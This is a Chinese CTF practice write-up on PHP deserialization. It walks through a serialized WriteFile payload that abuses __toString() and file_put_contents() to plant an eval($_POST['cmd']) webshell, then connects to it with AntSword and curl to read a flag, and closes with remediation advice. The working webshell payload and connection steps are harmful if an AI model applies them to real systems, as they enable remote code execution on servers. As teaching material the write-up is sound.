【好靶场】PHP反序列化入门练习
- 【好靶场】PHP反序列化入门练习3
- 前置知识
- 1. PHP 反序列化基础
- 2. `public` 属性可以直接被控制
- 3. `__toString()` 魔术方法
- 4. `file_put_contents()` 文件写入函数
- 5. `__toString()` 必须返回字符串
- 6. 序列化字符串长度必须准确
- 7. URL 编码基础
- 本题前置知识小结
- 一、题目源码与利用思路
- 二、Payload 构造与提交
- 1. 使用 PHP 生成 Payload
- 2. Payload 分析
- 3. URL 编码提交
- 三、使用蚁剑连接生成的 PHP 文件
- 1. 打开蚁剑并添加数据
- 2. 测试连接
- 3. 蚁剑连接失败时的排查思路
- 4. 获取flag
- 四、漏洞分析与修复
- 1. 漏洞原因
- 2. 推荐修复方式:禁止反序列化外部输入
- 3. 限制文件名和文件后缀
- 4. 必须使用序列化时,限制类和数据完整性
- 五、总结
【好靶场】PHP反序列化入门练习3
本文仅用于授权靶场、CTF 练习和本地安全学习,禁止用于未授权测试。
文中生成的 PHP 文件和命令执行代码仅限靶场环境验证。
对,这篇也应该保留“前置知识”,否则直接进入WriteFile和__toString(),初学者会感觉跳跃。
建议把下面内容放在“前言”之后、“题目源码与利用思路”之前。它的篇幅和详细程度与前两篇保持一致。
前置知识
学习本题前,需要掌握 PHP 反序列化、__toString()魔术方法、文件写入函数以及 Payload 长度计算等基础知识。
1. PHP 反序列化基础
PHP 可以通过serialize()将对象转换为字符串:
<?phpclassUser{public$name='test';}$obj=newUser();echoserialize($obj);输出结果:
O:4:"User":1:{s:4:"name";s:4:"test";}其中:
| 标识 | 含义 |
|---|---|
O | Object,对象 |
4:"User" | 类名为User,长度为 4 |
1 | 对象包含 1 个属性 |
s:4:"name" | 属性名name,长度为 4 |
s:4:"test" | 属性值test,长度为 4 |
随后可以使用unserialize()将字符串还原成对象:
<?php$data='O:4:"User":1:{s:4:"name";s:4:"test";}';$obj=unserialize($data);echo$obj->name;输出:
test如果服务端将用户提交的数据直接传入:
unserialize($data);攻击者就可能自行构造对象,并控制对象中的属性值。
2.public属性可以直接被控制
PHP 对象中的public属性,在序列化后会直接使用属性原名。
例如:
classWriteFile{public$filename;public$content;}序列化后的属性名称为:
s:8:"filename" s:7:"content"因此,本题可以直接控制:
$filename$content如果属性是protected或private,序列化后的属性名会包含不可见的空字节:
\0*\0 \0类名\0手工构造时会更加复杂。
本题的两个属性都是public,所以不需要处理额外的作用域信息。
3.__toString()魔术方法
__toString()是 PHP 的字符串转换魔术方法。
当对象被当作字符串使用时,PHP 会自动调用这个方法。
常见触发方式包括:
echo$obj;print$obj;$message='Object: '.$obj;(string)$obj;示例:
<?phpclassDemo{publicfunction__toString(){return'Hello PHP';}}$obj=newDemo();echo$obj;执行过程为:
echo $obj ↓ PHP 发现 $obj 是对象 ↓ 自动调用 $obj->__toString() ↓ 输出 Hello PHP本题中的关键触发点就是:
echo$obj;如果WriteFile::__toString()中包含危险操作,就会在对象被输出时自动执行。
4.file_put_contents()文件写入函数
file_put_contents()用于将字符串写入文件:
<?phpfile_put_contents('test.txt','hello');执行后,当前目录下会生成:
test.txt文件内容为:
hello函数的基本格式为:
file_put_contents(文件路径,文件内容);本题中的代码为:
file_put_contents($this->filename,$this->content);如果这两个属性均由用户控制,就可能变成:
file_put_contents('shell.php','<?php ... ?>');这就产生了任意文件写入风险。
如果写入位置位于 Web 可访问目录,并且服务器会解析 PHP 文件,那么任意文件写入可能进一步升级为代码执行。
5.__toString()必须返回字符串
在较新的 PHP 版本中,__toString()方法必须返回字符串。
正确示例:
publicfunction__toString(){file_put_contents($this->filename,$this->content);return'write success';}如果方法只执行写入操作,但没有返回值,可能出现对象无法转换为字符串的错误。
因此,分析题目源码时,需要同时关注:
__toString()是否会被触发;- 方法内部是否存在危险操作;
- 方法最后是否返回字符串。
6. 序列化字符串长度必须准确
PHP 序列化字符串中的长度按照字节计算:
s:字节长度:"字符串内容"例如:
s:9:"shell.php"因为:
shell.php一共有 9 个 ASCII 字符。
本题中的 PHP 内容:
<?php@eval($_POST['cmd']);?>长度为 29 个字节,因此对应:
s:29:"<?php @eval($_POST['cmd']);?>"如果修改了文件名或文件内容,必须同步修改长度字段。
推荐使用 PHP 自动生成 Payload:
$payload=serialize($obj);这样可以避免手工计算错误。
7. URL 编码基础
如果序列化字符串通过 GET 参数提交,Payload 中的特殊字符可能会影响 URL 解析,例如:
: " { } < > $ [ ] ;因此提交前通常需要进行 URL 编码。
例如:
:编码为:
%3A也可以使用命令行工具自动编码:
curl--get"http://<靶场地址>/"\--data-urlencode'ser_data=<序列化Payload>'使用--data-urlencode可以避免手动处理特殊字符。
本题前置知识小结
本题需要掌握的知识可以概括为:
unserialize() ↓ 还原 WriteFile 对象 ↓ 控制 public 属性 ↓ echo 对象 ↓ 触发 __toString() ↓ 调用 file_put_contents()后续题解中,重点关注以下三个位置:
unserialize($ser_data);echo$obj;file_put_contents($this->filename,$this->content);这三处代码共同组成了本题的完整利用链。
一、题目源码与利用思路
本题考察 PHP 反序列化与__toString()魔术方法的结合利用。
题目源码
<?php//代码仅作为分析和参考,不保证一定可以执行。classWriteFile{public$filename="test.txt";public$content="test content";publicfunction__toString(){file_put_contents($this->filename,$this->content);return"写入成功";}}$obj=@unserialize($ser_data);if($obj!==false&&$objinstanceofWriteFile){echo$obj;// 触发__toString}?>当 PHP 将对象当作字符串输出时,会自动调用对象的__toString()方法,例如:
echo$obj;如果$obj是一个对象,PHP 就会尝试调用:
$obj->__toString();靶场给出的核心代码可以抽象为:
<?phpclassWriteFile{public$filename;public$content;publicfunction__toString(){file_put_contents($this->filename,$this->content);// __toString() 必须返回字符串return'write success';}}$ser_data=$_GET['ser_data']??'';$obj=unserialize($ser_data);echo$obj;代码中的关键漏洞有两个:
$obj=unserialize($ser_data);服务端直接反序列化用户可控数据。
echo$obj;反序列化得到WriteFile对象后,echo会触发__toString(),进而执行:
file_put_contents($this->filename,$this->content);由于filename和content都是public公有属性,因此可以直接通过序列化字符串控制:
- 写入文件的名称;
- 写入文件的内容。
完整利用链如下:
构造 WriteFile 对象 ↓ 控制 filename 为 shell.php ↓ 控制 content 为 PHP 代码 ↓ 提交序列化 Payload ↓ unserialize() 还原对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 写入 PHP 文件 ↓ 访问生成的 shell.php二、Payload 构造与提交
1. 使用 PHP 生成 Payload
建议使用 PHP 的serialize()自动生成 Payload,避免手动计算字符串长度出错。
<?phpclassWriteFile{public$filename;public$content;publicfunction__toString(){return'write success';}}$obj=newWriteFile();// 设置写入文件名$obj->filename='shell.php';// 设置写入内容$obj->content="<?php @eval(\$_POST['cmd']);?>";// 生成序列化 Payload$payload=serialize($obj);echo$payload.PHP_EOL;运行后得到:
O:9:"WriteFile":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}2. Payload 分析
最终 Payload:
O:9:"WriteFile":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}各部分含义如下:
| 片段 | 含义 |
|---|---|
O | Object,对象 |
9:"WriteFile" | 类名为WriteFile,长度为 9 |
2 | 对象包含 2 个属性 |
s:8:"filename" | 属性名filename,长度为 8 |
s:9:"shell.php" | 属性值为shell.php,长度为 9 |
s:7:"content" | 属性名content,长度为 7 |
s:29:"..." | PHP 文件内容,长度为 29 |
关键长度如下:
WriteFile = 9 filename = 8 shell.php = 9 content = 7 <?php @eval($_POST['cmd']);?> = 29其中:
<?php @eval($_POST['cmd']);?>一共 29 个 ASCII 字节,因此必须写成:
s:29:"<?php @eval($_POST['cmd']);?>"如果长度写错,例如:
s:28:"<?php @eval($_POST['cmd']);?>"就可能导致unserialize()解析失败。
3. URL 编码提交
提交后,如果文件写入成功,可以访问:
http://hbc2.haobachang.com:43079/shell.php这里需要注意,相对路径:
file_put_contents('shell.php',$content);最终写入的位置取决于 PHP 当前工作目录。文件写入成功后,只有当该目录位于 Web 可访问目录中,才能通过/shell.php直接访问。
三、使用蚁剑连接生成的 PHP 文件
本题写入的文件内容为:
<?php@eval($_POST['cmd']);?>它会接收 POST 参数cmd,并将参数内容交给eval()执行。
由于蚁剑连接 PHP WebShell 时,会通过 POST 参数发送数据,因此可以使用cmd作为连接密码参数。
1. 打开蚁剑并添加数据
启动蚁剑后,右键左侧空白区域,选择:
添加数据填写以下内容:
URL: http://hbc2.haobachang.com:43079/shell.php 连接密码: cmd保存后双击该数据,蚁剑会尝试连接目标文件。
2. 测试连接
如果连接成功,蚁剑通常会显示目标主机的基本信息。
可以在终端中执行一些无害命令验证连接状态,例如:
whoamipwdid如果能够正常返回结果,说明:
PHP 文件已经成功写入 ↓ 生成的 shell.php 可以被访问 ↓ 蚁剑能够通过 POST 参数 cmd 与其通信3. 蚁剑连接失败时的排查思路
如果蚁剑无法连接,可以依次检查:
shell.php是否真的写入成功;- 文件是否位于 Web 可访问目录;
- URL 是否填写正确;
- 蚁剑密码是否填写为
cmd; - 目标页面是否支持 POST 请求;
- Payload 中
content的长度是否正确; - PHP 文件是否被服务器当作普通文本返回;
- 题目是否对 PHP 文件后缀或访问路径做了限制。
如果直接访问:
http://hbc2.haobachang.com:43079/shell.php返回空白,不一定代表写入失败。
因为代码使用的是:
eval($_POST['cmd']);没有提交cmd参数时,页面可能不会显示明显内容。
可以先使用命令行进行测试:
curl-XPOST"http://hbc2.haobachang.com:43079/shell.php"\--data-urlencode"cmd=echo 'test';"如果页面返回:
test说明文件已经可以执行。
蚁剑连接和命令执行操作仅限授权靶场或本地环境,测试完成后应删除生成的 WebShell 文件。
4. 获取flag
打开链接上的终端,输入
cat/tmp/flag.txt
最终获取到的flag为
flag{13e55976e2ba423bb9778c66dbfecd76}四、漏洞分析与修复
1. 漏洞原因
本题的漏洞链路为:
用户可控的序列化字符串 ↓ unserialize() 还原攻击者构造的对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 使用可控参数 ↓ 任意文件写入危险代码主要包括:
$obj=unserialize($ser_data);以及:
file_put_contents($this->filename,$this->content);服务端既没有限制反序列化的类,也没有验证文件名和文件内容,导致攻击者能够控制完整的文件写入操作。
如果攻击者将文件写入 Web 根目录,并且文件内容包含 PHP 代码,就可能进一步形成代码执行。
2. 推荐修复方式:禁止反序列化外部输入
最优方案是不要对用户提交的数据使用unserialize()。
如果只是传输普通数据,可以使用 JSON:
<?php$input=$_POST['data']??'';$data=json_decode($input,true);if(!is_array($data)){exit('非法参数');}$content=$data['content']??'';if(!is_string($content)){exit('内容格式错误');}// 使用服务端固定目录和固定文件名$filename=__DIR__.'/data/output.txt';if(file_put_contents($filename,$content)===false){exit('写入失败');}echo'write success';这里的关键改进是:
- 不再使用
unserialize(); - 不允许用户自由指定任意路径;
- 使用服务端固定目录;
- 限制写入内容类型;
- 不让用户直接写入 PHP 文件。
3. 限制文件名和文件后缀
如果业务确实需要用户选择文件名,应该使用白名单:
<?php$allowedFiles=['avatar.jpg','report.txt','data.json'];$filename=$_POST['filename']??'';if(!in_array($filename,$allowedFiles,true)){exit('非法文件名');}$path=__DIR__.'/uploads/'.$filename;还应禁止:
../ ../../ /etc/passwd C:\Windows\ shell.php shell.phtml同时,上传目录应禁止执行 PHP 脚本。
4. 必须使用序列化时,限制类和数据完整性
如果历史原因必须保留序列化数据,可以在验签后再进行反序列化:
<?php$data=$_POST['data']??'';$sign=$_POST['sign']??'';$secret=$_ENV['SERIALIZE_SECRET']??'';$expected=hash_hmac('sha256',$data,$secret);if(!hash_equals($expected,$sign)){exit('数据校验失败');}$obj=unserialize($data,['allowed_classes'=>false]);如果业务确实需要还原某个类,也应该使用严格的类白名单:
$obj=unserialize($data,['allowed_classes'=>['SafeData']]);但需要注意:
allowed_classes只能限制允许实例化哪些类,不能代替文件路径校验、后缀校验和权限控制。
对于本题的WriteFile类,即使将它加入白名单,也不能阻止攻击者修改:
$filename$content因此,最根本的修复仍然是:
不对用户可控数据直接使用
unserialize(),并禁止用户控制任意文件路径和脚本内容。
五、总结
本题的完整利用过程如下:
找到 WriteFile 类 ↓ 确认 filename 和 content 是 public 属性 ↓ 将 filename 设置为 shell.php ↓ 将 content 设置为 PHP 代码 ↓ 构造序列化 Payload ↓ 提交 ser_data 参数 ↓ unserialize() 还原 WriteFile 对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 写入 shell.php ↓ 访问 shell.php ↓ 使用蚁剑连接验证最终 Payload:
O:9:"WriteFile":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}蚁剑连接配置:
URL: http://hbc2.haobachang.com:43079/shell.php 连接密码: cmd 连接类型: PHP本题的核心考点是:
- 理解
__toString()的自动触发机制; - 认识
echo $obj可能触发对象方法; - 通过反序列化控制对象的
public属性; - 理解
file_put_contents()导致的任意文件写入; - 掌握 URL 编码和序列化字符串长度计算;
- 了解任意文件写入进一步升级为代码执行的条件;
- 掌握蚁剑通过 POST 参数连接 PHP WebShell 的基本方法。
最终漏洞链可以概括为:
可控反序列化 ↓ WriteFile 对象 ↓ echo 触发 __toString() ↓ 控制文件名和文件内容 ↓ 任意文件写入 ↓ 生成 PHP 文件 ↓ 蚁剑连接这道题相比前两题更进一步:
练习 1:属性篡改 → 逻辑绕过 练习 2:属性篡改 → __destruct() → 命令执行 练习 3:属性篡改 → __toString() → 任意文件写入